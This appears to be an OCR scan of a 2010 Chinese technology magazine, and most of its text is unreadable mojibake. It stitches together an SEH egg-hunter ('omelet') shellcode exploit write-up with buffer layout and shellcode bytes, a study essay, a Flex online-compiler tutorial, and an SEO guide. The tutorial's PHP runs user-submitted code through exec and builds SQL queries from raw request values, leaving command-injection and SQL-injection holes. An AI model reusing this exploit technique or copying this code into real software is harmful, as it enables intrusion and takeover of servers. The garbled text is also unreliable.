L, FEERALERT LI E S 1A, e B RBAFLE eax HIINAFHARIL tag, BEFR
TN AE :

X H seq = 1 + number of remaining eggs to find + 1, HUWIMRA 3 A egg WEHL, Y
LB egg XTNIIF) tag A -

ez, el i NtAccessCheckAndAudi tAlarm Sk T2 75t B )k fgi],  HiGE
U EE A 2R, 15 Ak 8 TR S A TEELRRIL tag, REJF BT rep movsb $E4 K HE HIF] edi
fa bk, HET B4 AS shellcode HRHATHAT . EAAJERD S HT 40T :

FEEH 2010 FH (REKRR) © FeEH WMWAA
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DAL Hr O AR AR 7 20 2 0 % egg WAFRBEATHH B () egg—to—omelet hunter #2/5, SkyLined
IR T 57— AR FH T8 shellcode #4770 B, #it & B egg WAFEREHE, HUH4 N
w32 SEH omelet. py, #&f] Python @5 /. & F B & fE SkyLined 7E w32 SEH omelet. asm
AR TR B FE AT T, DIIREUS B ege T K/ size, RGME index, bridfH
marker (ERIAN 0x280876), LA % egg HHIEES shellcode fUHE, M egg HIK/NEREE
B CBRIAN 127 £75), ARMA @ (0x40) 7S, HAZOREW R

FEEH 2010 FH (REKRR) © FeEH WMWAA
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R Tk
KM%, LR, T ar&uF:

VR ES AP bin XF, — /N shellcode.bin, BH—MHTF egg RN
w32 SEH omelet.bin, iXH ] Peter Van Eeckhoutte 4’5 [ egg—to—omelet hunter F£53
A A bin SCAELIACE w32 SEH omelet. bin tHZA LK. 2%F shellcode. bin, #RATLLSEH
metasploit o4 shellcode, #RJGH] perl/python ¥ shellcode 5 AN—4> bin CAFRIT];
T w32 SEH omelet. bin A] H#2H nasm <4 P SkyLined [ w32 SEH omelet. asm B{# Peter
Van Eeckhoutte Ef corelanc0d3r omelet.asm MTIE R bin 3. Output. txt ZHH
A, FHRIRAFAE KA egg LUK omelet fURS, JSIHIFY 127 25— egg WAFILIIFT4L,
1T 0xBADASS ZARicfE, RUTIRAILE 3 7%, Hin w00 (0x773030) , #5e/m 2 B4
SR N SRR

FEEH 2010 FH (REKRR) © FeEH WMWAA
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eggl = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0O\x81\x3C\xD3 ... \x24\x03\xCD”;
egg?2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01”";

AR RSO JE AT T LAAE S IR 1 FH A A4 38 HH 2R AL T X AR ) exploit:

[ junk] [nseh (jmp 06) 1 [ seh (pop pop ret) Jlnops)Lomelet code]l junk][eggO) junk]
[eggl) [junk] [egg2]

AT AR SEBRife I A FHIEAS 52— e AR IR 5o, 7940 BAR IS DLk AT 224k, TRl IE 75—
Ris !

G5E

A3 Omelet Shellcode HEATfaIFLILIMAT, IR T shellcode 7r BRphAT BORAIZEA R
B, PR AT R R RO YRR, DA B KSR AF s B T M AT 4 Omelet Shellcodeo fE
AR IR R T — MR 51 EEER, KT shellcode Mg SIEARZHANE, [FIK
WREEREARNE, ZLHH LI RFILFERITIEN 2 5, WRARA 3 2 50 T J7 M 5%
BERIEOAR, A5 80T DR 5.

ZeKMF 2010 FH (REERR) © ZRBEEH RNFE
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Ye#: RE

EXRAMERE, B EA TR,
ZEAMAEE, BhAEAHEER;
HITSERTNRE, P22 5 2 0k,
RHEFRERE, BhafHnE;
FIEBTERE, NEE WL

—REZEBIE (W)

I SAT Yl th 5 5 T I SO A I, X

debug—sai. blogbus. com/logs/62159496. html . H A& MNERMMHBEIN, F T I E G

H O WS — S0, BIa A # N AR RIE L, e, K
A, NEFERAE TR A, BRI T AD>A FT R R RS A E I K AR
WEtit T , R 1344 Jukid, RESHEGR AR A S Y EL s HEhAE
WIEE S Fer KBS RN, R A — SR 54E, X R AT, 2T
FRATHRA, Hi2EE SR, ARFEFR SIS RE T — T 28, thRIg0y
LM A T, T R AT S A BT AR T AR B K R 9
ARKGEART o REMACAFHTH D LLT LA K it
BERFRIR

RHEMREPES EZULC ASMOAE, BRH OEEBIRAXNES, HERA
WE, W PHPL ASP AR T RT CIEFSMBEMA LN PR “CIHEFMNR4AE" , H(C
FEFRIHES) « (CAEED) o (CHREPFSERIED o (C LR , AL C gife FiX
JIABBEH T, ETHIRSHMEET S HE L E RN . B MR8 LA T
1, KT CATTHEE, REANSHERE SR, RAREZTXABATIN, HEKEE
FERHE 2010 FH (KR © FeEH WMWAA
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R GEAMFARIREE, HRAD, GRS B AL, XA S EREIE XXX, 24 /N XXX,
30 K XXX XXX MATTEIGE, XLHEE EH AR ZIENR, A0 /R HISRk Bt 9% (1,
Xf N IRLEE AN B A AUANE T — AR BRI A 1. FIAVE LA
N T PP B, (XM AR, RSl s XM 7. A4 AE5

25/
JIL

3
+
L\\
w

sttt 4, WEDEE TR T AL, RiEE A, BiEE A, AR

“~<

BHG HAENPLE ERENE . FARME R SAT SLop i), FEZ AR EOAR, HiAH 2 3%
XITHEEHFE 7o T ASM EE G (80x86 JLIWiE S HEFFBIT) « (windows FEE R 32
ROCHRAR T BETE) XA, JEG1E 5 I FFEA 2D — i, — S8 B35 R 7 st — 4=
% asm #REA KK, REFEPEINESRAZ TR /4, W CiEs B8, AT
L LA B, AL, JRENIXLE, (R A R mAE RE . WAL B BEER
oy, GDB W, linux FFHIMANIR, el (e primer plus) (C F4REF) , iXLbih
FRBAK =Nl KT windows Jife, HHE (windows FF¥#H) LM, (windows
BDgRIE) o AR THEEH T AR A0S, RN A BT IR R TR, 2 5 REDT
PRI BT, AT LSESEAR R E, M HAESERR R, AN AT L EL RS ESE, JF
A o a0 SRAT BN AR K E B G, IR0 AT DL FEAT B, AT DAZE P53l 45 G 2 45 B i 7
B B _ESKEe kRS, 7RV BRI BLIE R, AN AR SK H ki P id R RIS . (H 2 5 BE1E)
i, HEZNARFK U REGR, AW EET” , Fle ) TREy>1E, g%
MFERIG, HEPHLKH, FHR2RGLLL R T HAL B RS EEN, 4~k
KRB, AREMERIERSEAFEE T  Jaa Rl geiE VeI e s Ak, &E%

IR RRE O

UG )
RF WA TREX T HES, AR EMEST MR O SiiE) , £1X77m, &S

s A LEE AN 22, IR B 10 ) 2 SIAS R B AF S B o AEINARSES TTT H RS It 8

DIkl ZEehR iy, Bl R ARSI A BT AE 1, Sl BIERE RS . 53 /M 7 TH A A5 58

A (BB RICHiEE) (BREMIREAREE ) GOm TR , EA R R
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WRAA, JRF T E N8 A A B AR (IDA BUBFER ) R AR IH
&, VEAURAFR T IDA ROT5 TR . BIDE TR NN R 7 A (IDA Pro AURGH 5
FE) » AP BERE T W F TR A EAZ I AR T, e B
BTSN 5% TN, IR g - - XA E AR, SR
ELIMFEE B LR, KIS WA etk L. 5T 3REUsR PO Jy
V2, KU b B M THERLHET 15 RSS, REATHHENH Bk S aE 7, & L
2 ST, AR N R AR 148, X T X e A, 1R 2 R BB, hinft 4 windows
T KA, FEIBEMEE, windows BE XXX, HLEMIE, HBEEE. google MATT, &
W EARAR 5 KIX K ATEE

WA ZER
FERAI B 7R HEE, SIS 25K OFEBERA) , XHEHAM54m, ik

N, BARE, [EHREE, ARERIRZH, RRgURAKE, R, AR
PR T A7 T A9 BRI — A 45, FUE A B EE B AT R AR T A
EEARAR) , YR IHBREMALENBIE, BFRERER B4 EEE, JUWHH
M, JLTARER CBET 5, i HXORRE, R KA, KIKIHEEARET .
ZHIESEFRWRES, Myt BFAIRRA—, —BBEHE I, KARE T, R
X5 B S TR B, Rt A LT, B S B E . AR KB R AL
HME (xss attack) (sql injection) C(H#EA: (SQL FEANBGHSHI)Y O, LA RE
IR WEB 22 AsR) , SRR LA B, AN B SR AT B2 LU s 1a), K
FAUBVER, th—FEEWTERN,

REGEER
XA PEEEEA GRANEMTTENLRS) GRNENT windows #:/E R248) (widnows

RYGRI ) , EANZHEEE VA (windows #1F R G

Chttp://www. amazon. cn/mn/detailmore?showtype=3700& prodid=zhbk934046) , _FIHid&
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HHRERRFUENE, JEiE TALS R LR A RIER R IZEN, e AE
BN T, RIFENE T, RMPROBERERNE, BARAR AN ERET . KT
WHHBGER RS, EA TR (MEBERR) o (Oday %4z BAHREDHEAR) , B
RME— PR HR, Hhgteoadnt, (H2HEBERASTER K. & ERBURH154E,
RAF 508 LI UEH . AT RSSo X TSR E M BOR1EE, —EZEHE B H X,
SRJE AR LS AT L RS, WA R B E R R, AR R 4 KA 1
[FIZER) 2 i P 4E, Al B R 58 R B HAA LB L 7. 3 TR A 2 2qeskm -, Tkt
W —E, Bt (intel TFRTM) » X —ERHER/R A7 Jtm S ERME R B4, 3L
A, ZHTEIET T NE, SRS E T BAROR T, A DONE — BRI, m R
T8, BER] Intel JEIREXER, FEKT7AATIL Fr DACLJE W SRA XA 4 2 (1
T, tAYINE g

e AR, BEEHRE N, ARAREIRN, SOREH— R BN H b B 35
56, AER] CASARMFIARERL L AIFESE !
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gtk Flex Widget AR 5 ER

ek R
HEAMES
1. Hakstt e Flex Widget

gt Flex Widget /& —/NET FLASH HIFFRLA) Widget C/MAEE), "BMAL T8
ERN, A DLELEEMG RS IR 7 EAE NGB . AB TR, #EFEEM. (FFER
YT FLASH ThR8). Bl LS Iz i 4T, M4 TELIBITIEAE.

2. Flex Widget HIZ5HFIE{E MAR:

WIER 54 AT RS 2S A
5T A PHP
ASP é—————”“'{lliiil')
ASP.NET
s Jsp
T B M7 AR 5545 B
PHP
s ASP —
ASP.NET
Isp

K1 Flex 5 M55 &t 17815

Flex Widget HRIRMRSS ML, fRIE T RIAHI 24k, FIRWORIE 7 HARSIE.

Ja B LERAMER SR RS & a6 SORTEEIFA A HH B IR .
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FR#EE

3. Flex 8% FLASH & T E.:
A H{EH Flex Builder 3.
ER—MM RS (J56) TR

AR PHP S5 R
TR EN

b. fEEGNPRAR
HE, S

-~

FH A R LR AL

= € * Application

|__ft|---,1_'=_ Canwasz el

Eﬁ‘::j Canwas cZ
----- () Button submit GZ9T)
----- () Button back (E[E]

..... < » Flip next
..... 4 » Flip prew
----- < » HITFService hs
----- < » HITPService hsZ

FE A 2010 £ (RFEKE)

307

© FeEH WMWAA



L BRAR -

Stack

= .
1) ZEHIA—A ViewStack (= M

LA ia p I/

) IXFP AL B HER AT U 2L I

2)  HHEA—DCERK( Texthrea

25 CAKERL 4 N code:

mx.Texthrea

» Common

ID: |code
Text:
[

Max chars:

3) RIS Y submit, JEE I
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AN onClick () :

[ max:Eutton

w Common

Label: BT
Label placement:
Enabled:

On click: onClick()

4 AT BENE AR, FERONA SO X R

VAXALA N resul ttext, FZ4HAT4 N back
e FA I FH A onBack ()
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[ mx:Button

w» Common

Label: [[EE]
Label placement:
Enablled:

On click: |enBack()l

5 EMmELAIIFERE: (JAVA RIRFERE, HAhgmFEfEF

=l
p—g
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[root@fruit html]# cat java.php

<?php

error_reporting (E_ALL & ~E_NOTICE);
Scode =$_POST["code"];

Stemp = Scode;

/] EhLKA

Sstart = stripos(Stemp,"class");

Send = stripos(Stemp,"{",Sstart);

Sclassname = substr(Stemp, Sstart+5,5end-Sstart-5);

Sclassname = str_replace("\r","",Sclassname);
manan

Sclassname = str_replace("\n","",Sclasshame);
,Sclassname);

Sclassname = str_replace(" ",
/] BRI
Sfp = fopen("files/Sclassname.java", "w");
fwrite(Sfp,Scode."\n");
fclose(Sp);
/] 9 JAVA
exec("javac /var/www/html/files/".Sclassname." .java",Sout);
/] AR IEIEE, PATIFEE R
iflempty(Sout)) {

echo exec("java -cp /var/www /html/files/ ".Sclassname);
}
else
{
/] PR, R ENRE R
print " i%:\n";
while(list(,Seach)=each(Sout)) {

print Seach."\n";

}
exec("rm -f /var/www/html/files/".Sclassname.".java"); // IR JESC
-

1

6) ImEACHEAEANFE T (xxx B eIk 45 A sl -
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[root@fruit html]# cat editcode.php

<form action="http://xxx/edit.php" method="post">
<textarea name="data" rows="15" cols="40"></textarea>
<input type="submit" />

</form>

[root@fruit html]# cat editcode.php

<form action="http://xxx/edit.php" method="post">
<textarea name="data" rows="15" cols="40"></textarea>
<input type="submit" />

</form>

[root@fruit html]# cat edit.php

<?php

Sdata =S_POST["data"];

Sconn=mysql_connect("localhost

nn n IIII)_

,"root","");

if(!Sconn) die("error : mysgl connect failed");
mysql_select_db("complier",Sconn);

$sql = "insert into code (data) values (".$data."")"; .// i NACHE 2 & 2R
Sresult = mysql_query($sql);

Sid=mysql_insert_id(); // &£ id, PUGHEXA id B
mysql_close($Sconn);

echo Sid;

»>

) HE SRR

[root@fruit html]# cat showcode.php

<?php

header("Content-type: text/html; charset=utf-8");
Sid=$_GET["id"];

Sconn=mysql_connect("localhost

non " uu),

,"root","");
if(!Sconn) die("error : mysgl connect failed");
mysql_select_db("complier",Sconn);

Ssql = "select data from code where id=".Sid;
mysql_query("set names 'utf8'');

Sresult = mysql_query($sql);

while (Srow = mysql_fetch_array(Sresult, MYSQL_NUM)) {
echo htmlentities(Srow[0],ENT_QUOTES,"utf-8"); // &7~ E ¥ 75 P 2%

}
mysql_close(Sconn);
>
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8) i%EPE PHP I FLEX:

7E FLEX HomAan FARAS

<mx:HTTPService id="hs" url="http://xxx/java.php" method="POST"
result="onResult (event)"/> <!—-HTTPMR%hs, M oidmiF-->
<mx:HTTPService id="hs2"

url="http://xxx/showcode.php"

result="onResult2 (event)"/> <!—HTTPHR%hs2, fi 77 I T/~ FLifi-->

9) TEREE Flex fi:
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<mx:Script>
<! [CDATA[
import mx.controls.Alert;

import mx.rpc.events.ResultEvent;

private wvar langparam : String;
private function init() : wvoid ({
// HRABRidS
var idparam : String = Application.application.parameters["id"];
/] EERAAES
langparam = Application.application.parameters|["lang"];
if (idparam != null) {
hs2.url = "http://xxx/showcode.php";

hs2.send ({id:idparam}); //m&k%E&HEHHeditcode.php ARG

}
// AR TR

private function onClick() : woid {
if (langparam != null) {
hs.url = "http://xxx/" + langparam + ".php";

hs.send ({code:code.text}); // WAIRGBBITWIFEET
}
// ARASIEAT G ik el 2 R

private function onResult (event : ResultEvent) : wvoid {
var result : String = event.result.toString();
resulttext.text = result;
viewstackl.selectedIndex = 1;

}
/] WSS E A A JA R [ A

private function onResult2(event : ResultEvent) : wvoid {
var result : String = event.result.toString();
code.text = result;

}
// JE IR

private function onBack () : wvoid {

viewstackl.selectedIndex = 0;

11>
</mx:Script>
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PAER— AR Flex SO0 BT IF AiRE, ATEVE B, A EIFAZIRR (R
Pt 100 AT 4D, Eake, EE A AL

R EIAT
AT IR, TULEREM E—&.

il P IR AE e g 1 AR R 8, 22 3 2D

6. 3t editcode. php

FESCRIX AN . R iR 5

2R Al —AME
7. BFEXAME, ARJEVFA YRR cc. swf:

45N http://xxx/cc. swf?id=T&lang=c
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QS ETH 1d=7 BLEICAEMIME, lang=c ZIZME C 1B = L WMIFHAT

8. XA URL M A\ 4.

WIEE

@ Flash {8 SIA

e, Flash sl
|http:,-’,-’xxx,-*cc.swf?idﬂ&lang:c
E3RE

XRE—NELR A G B r] DA 7 LB 1.

Te T AR R -
9. RAEMEFHAY 1inux:
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Welcome to Linux
Have fun!
tclbox:~% cd /

tclbox: /5 13

kin/ etc/ init mnt/ proc/ skin/ tmp/
dev/ home/ lik/ opt/ root/ sys/ usrc/
tcfbox:/§ pwd

/

tcfbox:/$ 1s bin

addgroup delgroup gzip

10, M P B A B S

1L 5 N S BT 5 /R A 2

S EH 2010 £ (RRE%RE)
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BRI
EEAT AUFHIN T, A SEVRRBIGE AR -
ORI 2RI NS E R E M
PRI TH IR 7 SE 36 AR EL T
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fai BL5 > SEO
g : lanlan

B E RN
FUTIARAL, Seilb NBERIAR e A0, PRS2 — 00— DUR T, WA 4800 & BiE R IX
ANTAERT . Buimfith, BEHECRBHER IR A, i ool v B R R
TEbRE . FR . SOOI, AT RER S 4E R 5 B iz i), fE Lk e s ) L i £
A, SEREHTE T R ATE S, SRR AT D
1. Mdr4
W T 44, ANPTBER, FOCEER RN DT i 44, AT LR ) T 38 1 i 2R 51 4,
WEEIETIE—H 728, M58, R#iadr L eHiE, AU, A “-7 HES, bl
FH“ 7RI %R 8], For example, ffif] lan-lan. html, T ANM1Z A lan lan. html,
2. PTURR
Vi T MR AE—, HERMRIIEREREY, ERE T MWK EENE,
PR e 0 A2 B T A ) e R R TR DR 3R

For example, MITIARAR: “WAKA lan Y k- FHF. ICRWATH S SRR ViR ER
AEE, HEZXNGitleonds, HRIIEHNRER.

<METL content="glel1lanT 2k (www, lanl?3. tk) " namesauthor?
METL http-equiv=Content-Type content=text/html; charset=gh2?312 charset=gb2312>
<META content="gHehlan" 2, EFEFE, " nane=keywordsz>

METL content="gheH1lan T h-TEEFE. EFHEIIM S SHAE! " nane=dezcription><LINE

F GBS W U AR A 4R BRI S ORGSR I, 4E google R
“HARY lan 7Sk XASORHEE, SoRBLUR:
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Gox ;gle didslan’r 3 -

B 3200 RRE [ty
) pEsR Bikblan Y 2 ZEAE Isbase net - FEEFES
& EA 2010E9R208 . BEMHEFNFS. tuhlan T . —4F MEHRT. £l 46 EER £%,
WE, TR, EEE. RN 46, 46, 0, 6, 0%. [EEEFR
Rk zhidao ishase net/person/0100e997ade5 . - FIFTRE - FLER
= #E SN TR AEMEFRTE
gl 6, Bueblan T %, TIEHR T, —, 46. 7. WMERLy, WEET, —4, 46. 8. 48
sz zhidao isbase net/toprank - FIF A - #E4ER
diglan ¥ %> EEF, LR S AEE]
M gheilan T 5| EREEE. DERFENNS=0@® ! FEER « IYTH lanlant@E. theh
B BT lan 7 £k, MEEETIETT . lanlan?lS A G | HEMRSRET - _ IR
TR www lan123 thkf - PITTHRE - ISR
T IX LN bR, A AR B AR RS R, I DURR R T o B A 2 5 R
i
o

PS: 3 5K F RN 9% () S B R] 2 i A o P K B AR S B 1] P AT . A RBUHT #A e
U2l
3. T RS AR

(D MG AR -
<META NAME=" keywords” CONTENT=" " >JCHEia|bpss
<META NAME=" description” CONTENT> /T #iif b2
description FRZEAI Keywords #2852 i B i [ description FRa% ) H 8 6 o< B 1] 1)
TUAR, M —BOE O, I HRR LR IX B R BN W DT A A, FF LA OB 1A
Ao Keywords FRZRAHMEA, HATH R EOAHH SR,

(2)  EhBAT

Bl R BRCE, ARER &, RFREE A rad, MR ERRE R, R
{FH B A br2 N R 51BN, B bR N S i 8 E sk ]

For example: <img src=" logo.gif alt=" HW4@4 lan Y k" ” >

Wk S RIARAL

4. faoNEERE

M= TR ) 5 — A AR BIOC BRI HE, 498, XA BEARm L2 —A Mo,
AL MM 0 BRI, B R A — AN — Nk, — Ao — AR
BT,

BN R B SO, KGR, Email BE8e. 850 . 20RO
THEESE . RS R IV VUNM RGO E . UGB RE AN A B

5. BEEMIEA

BRI L RN IR IR, S MRS B0, WA R, B EMaIGr,
FEPAL R T A P G B R, 1 BT R B A O B

6. I B a1 1 TV

(D M E TS T s

(2) M\ PR BT 1) X sl 8 R 42

(3)  HUF RPN

(4> S E B B T H Sl
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(5)  ANESINM B SRR s), — BRSBTS, B SR M3
(6)  An—uhi 234k 5 R B

7. ETE R 51 R

LTI, NG S, MR GVEARRIRAINR . R G F RN

1) Google: http://www. google. com/addurl/?continue=/addurl

2) Yahoo

https://login. yahoo. com/config/login?. src=srch&. done=http://submit. sear

ch. yahoo. com/free/r
3) Baidu: http://www.baidu. com/search/url submit.html
8. FWTRIEE S
D R
T EERE I H T IR T S AE, H SE0 2 J5, SERERIRS e A 7 HoAthsd i i 5
AWERINTT o WEREERE I, 75 B Il fU5e MmN RERE, P25 Bl B4 1 P9ty il
K& Email, 8H CHIMBETEANRRTEE, ARk AR 2 4.
2) REEFRERE:
AR S o TR S 3 A oty o A
AR AR 2R 5] B il 5 L
ANHE [ ol 5 TG OR ) L
ANRIZ M B il R L
PRAE R~ N2 BB R )l s G4 48 B AL 2 o
3) BT R
Ty S 75 >R B B VAT gt R
D) S P ity R R T 61 N 25 T HL N A 28 SR
) SEBERE ERERE PLE, ANR R .
9. HEREMFAMITH
D PR Al mSOE A 5SS B O R B R
2) SAEEHEREH:
SPNEERE A VRS0, Be S b B R ) W TR R S i HE 4
T ONBEFE B 0% A7 280G I AR VR N X s PR A0 38 TR
SN RENS T I S 1) PR B N e fe ] 48 2 44
SRR TR — 2 U I .
3mSR AN
)48 22 5] 8 H AR Mk DMOZ A2 AN S 44 53 Sk
HACEER . CINAAE R 515 H S AH K Mk
50 TR M (G477 link: SEHFIHL),
B G W7 ) R AH 5 R 3k
WAk T S B B B XU R AR N AR, PR s, HAR a3 ah
PR B FE BARAT TPk o AT DS o 2 B YR B R
FEE M R R TN T SRR D, SCE g RN b SRR 4,

ZeKMF 2010 FH (REERR) © ZRBEEH RNFE

321


http://www.google.com/addurl/?continue=/addurl
https://login.yahoo.com/config/login?.src=srch&.done=http://submit.search.yahoo.com/free/r
https://login.yahoo.com/config/login?.src=srch&.done=http://submit.search.yahoo.com/free/r
http://www.baidu.com/search/url_submit.html

&7 1 v T RLIN L B O A0 3l P B AT A S0 SR Y 1Y)

IR o
APk H s E3RAT MG EARSRIZE H k. ATLH SR, T HaR. 3T, H AR
B o Rk

4 SHEEE: N E SRS IE R AN W R
5) SFHEEHNEE: BRI RA PR (A M5 T H R
G TG A BANME B
¥ G ADRE FH T 28 3B 42 1Y X T PR R
10. iff o 22 1) S S

BERL M (B LAY, EXF PR BURSIRIR K . KR/l K A S B B e B T T
1, BRAENNKEAD, — N FHEESHBEACMEET PR E, ARG
FIBERE N A BT (BBE). Rz, HEEMRXUREERE T .

BRI, (HREA AL KATRAREK . B2 BEE, th—FErT LS
RUFIIRE, T4H Google MITHE 7N, SR ZBEENIE, Wal&MHEmE
IS, AR AE T BB 2 X
(1) HWRLIEE R RN R ZA LT LA
1> LA B 42 R R 1) 32 RURIEE 132 T 8638 1) I D S A1 4
FEFEAEM SN E (N T S SERED)

DWA EEEM WA Z /DM CREFAT)

(2) BpRHN%:

IO B 3k (1) 1 T
2> 5 IR BEBE % U AH OGN 2
IO AN HLEASAH I I R 3y

HURAE N KB ek, R BTSRRI B N, 1 U PR EE

FE iR, (HR2, fEA—A ML, 0 WA SRR, —REEE s e BB
AL I, 3k r 3% A T T 2 T DURE 21T
WINEE R — Nk, [ERR S AR blog HRA(EER, 1 LS8R
R E RIS, EE RS, BRSSO, AR SR LR, R E K
fi, BRI S blog {5 BN TR 2K, AHREX HE, LU 7 kA7
PP IR E
11. INE—TF
(1) AMEERIG I AT R R 518 H 4, (H02, A B 1 P J0 B8 (1 39
AMEE, XFERSERHR, B RIIENINEE, BIRHES. Wik, sb
BE (P IG AL ML AR, AMEE SR N S P B IR
(2) AR B LI, AL A ARNERMRET. N RTIEHEER
KIGTER :
1> —ANWITT G H R ) 55— T PR B2 TT DAY 23l K AN )
2> BETT LA TR A 2 R, M P ORI DU R O B HE 44 s, 1R T
SEAR 75 Ty VR 31 R A T T2 D) s 1 B L (1

3> TEME 2 EA L 5N BRI, SHER T N A R O A REE, RE
A S5 0 9 T 174 PN B

4> WEEMIA A FIT LA, SN 2R 3208, 45 32 R A% O B A TR 3 2R 5] 3k

FEEERHEA
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(3

R

5> uli R UL BEAT B 1 5 e 4 2R 51 K Wt A AT 2 51 2R

ANEAE AR, AR TT RE 2 AERE I 8] Y ST — > sl i AE R R S P
R, (B B8RS BRI B, BRGNS T AN B A S U R

1o

BT R LAl RN, P8R 51 B DR B R D oL, SR I A 1% R 51 2
HIRZ L o 3E IR B T R 2 R E . AR, V2l RN 275 18 G B ] 1Y
Petl, RGBSR 2 B SR e, Xl s 2 i .

12. UDIPSi A
(1) EFEIEH I A
AT, SEO M AR H g et AT 1Y, BT A, JCHER ik £ 52 mm 41 SEO
TAERITFRE; MR P AN EERE B Sl R E I G0, 8 e
BERAENELE, KEBAERN TP 2-5 SO 1 MR B
W, WHERLIER B CELEN. R FHE LN EL:
ORPS: 35k edl
@ KRB IAEA
©NN=k:3 AL TS
(2) PR AR Ji )
WG Z 1T, RN %5 RS R OCHR], DR A HEAN Ik 1) P 2 AR 4 DG s R Fe T
WER R, MRE TR, HFARIIK WERD.
O FEREAATERK
T DUE B IE NAZAT X AT A AT O EER], F Xl (14 = S DG B A] o 75 A
HARNMIAERK, WERRGHL, IRk, A0 SE0 HEA RIEMEZ B
K], R R I K A 1] 0]
KR ERTEZ
R FEZ B R B b B IR R TE 4, WARAR2 2 AN i), AR AR DR B ] st — o 42
1% FELG Y 2 S AN AT AN R ORIZ G T, ARSI | GEEE R . AR
K], s LLEH RIER .
S PE A 2R A A
oA BTG, (EAR 2 5 FA U Ak o Nk T O T EGE B AT IR R
PR AR AT P XA G R g 4 R B ik aL, TIUR IR A1
IR H o R OCHAR BN, MR AR S BN R R IX 7 s AT 43
IR R 3 R A 7 A R
COPSIAKT EE [ SRR IR DU & SEO b, UL EAA TR ARG P2 2
TRERE, HTWEEH, BEHEREM R, NZOHRI A
R RZ . EF/INM R
SEFZHIM DL, K, SEMHER AT, MRS A Z MR
ARt PTRA, ZRBMRZ. T/ DI |
REEIR AN EIE “A”
o oA T RS U HE S, VAR R IR E . AN EUATF A
MockIn], PRIV A AR, WRE 2D NSRBI AFE,
M RL T A
Google x i 1) T H
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https://adwords. google. com/select/KeywordToolExternal
FHEEAEZ R T A, http://keywordsrank. zzbaike. com/
(3)  FEd R
1> SCB]: HZ A P ESE 2R NS 2B A4 FR
2> REHETEAN: MR LIVERIGERS, BT, 7 Google. HEEAFH R 51 M
BEATIALE .
3> RPN OCERE  EREAI I B SRS SRR S A IO BTG
i, sebims AT EAE G SR, SeUK, PR DL — SRR () G
), WA IRE .
13. R ) 5

(1) GBI ZE R Wb BTG 48 2R 51 m] DA Bal 52 i S 7 o S 1) 45 FH A B 2R
P At NPT ES S E AP S i i R F N

(2) &M CHRA BB B E ETE 2% 8% Bl Y by, R M HES
WA AR FR 51 A IR HERY)

(3) KRB AT B OB IR N o3 AT AR UL ) [ 8 N b, PR OGS IR 2 R
BN MIAH M o B Be 2 I — RO IA] w1 SRR R B AP AE 273 A,
Ramie BB AR/ HIM—IR, Bl R 2 SIE BB A .

(4) AR 5 P e A J5 )

OFSankacs: tid
@R S A 355, RIS SRR 2 B AN vy, R B b ) 50 D B 1] D)
@I A PR N2, S8 1 B RN T AT SRR
DO Zatz ORI IR INEA ST X ZFEN, AEE TH—.
(5) $EhNoR B A S5
Omata A title
mata Fl title A& 4HIHRAICEE], REAERAMETE 0L M 4

QW E
Wit v “ WA E” RETRTEH RN TRETI0 MARN T 2
T R B EHERRAR L o

@4z
ISR UK R, RN ¢ Rl E R, RIS IANIR
IoCHR R “ Rl &E 7, Frel, SCE NIRRT B SRR, IR
R 2 s A A B

@K

HRIVFEANRE . R ALT #5345 . 7E ALT @1l DGR, R
RSNz U ERTR
& — AR B FE AT T H . http://keywords. zzbaike. com/
14. BRI ERELIUR
“URED” FEHEE R ARMImER Tk BT SR FiE. SE0
FARYE 8020 VLM JLAME BTN 3] — AN Je8ia, XEee8ia 538 T H40 2\
TR IR R, HX T8 R R R D T RE BT A iR
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